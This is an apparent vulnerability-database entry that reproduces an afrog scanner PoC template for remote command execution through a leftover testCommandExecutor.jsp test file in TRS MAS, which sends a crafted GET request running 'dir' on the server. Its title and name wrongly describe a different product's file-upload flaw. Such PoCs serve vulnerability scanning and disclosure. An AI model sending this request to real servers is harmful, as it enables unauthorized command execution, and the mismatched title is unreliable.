max-test-command-executor-rce: 紫光档案管理系统 upload.html 后台文件上传漏洞

日期: 2025-09-01 | 影响软件: max-test-command-executor-rce | POC: 已公开

漏洞描述

拓尔思 MAS testCommandExecutor.jsp测试文件存在远程命令执行漏洞，当网站运维者未删除测试文件时，攻击者通过漏洞可以获取服务器权限 "MAS媒资管理系统登录页面"

PoC代码[已公开]

id: max-test-command-executor-rce

info:
  name: 紫光档案管理系统 upload.html 后台文件上传漏洞
  author: zan8in
  severity: high
  verified: true
  description: |
    拓尔思 MAS testCommandExecutor.jsp测试文件存在远程命令执行漏洞，当网站运维者未删除测试文件时，攻击者通过漏洞可以获取服务器权限
    "MAS媒资管理系统登录页面"
  
rules:
  r0:
    request:
      method: GET
      path: /mas/front/vod/main.do?method=newList&view=forward:/sysinfo/testCommandExecutor.jsp&cmdLine=dir&workDir=&pathEnv=&libPathEnv=
    expression: response.status == 200 && response.body.ibcontains(b'D:\\TRS\\TRSMAS\\')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/max-test-command-executor-rce.yaml

相关漏洞推荐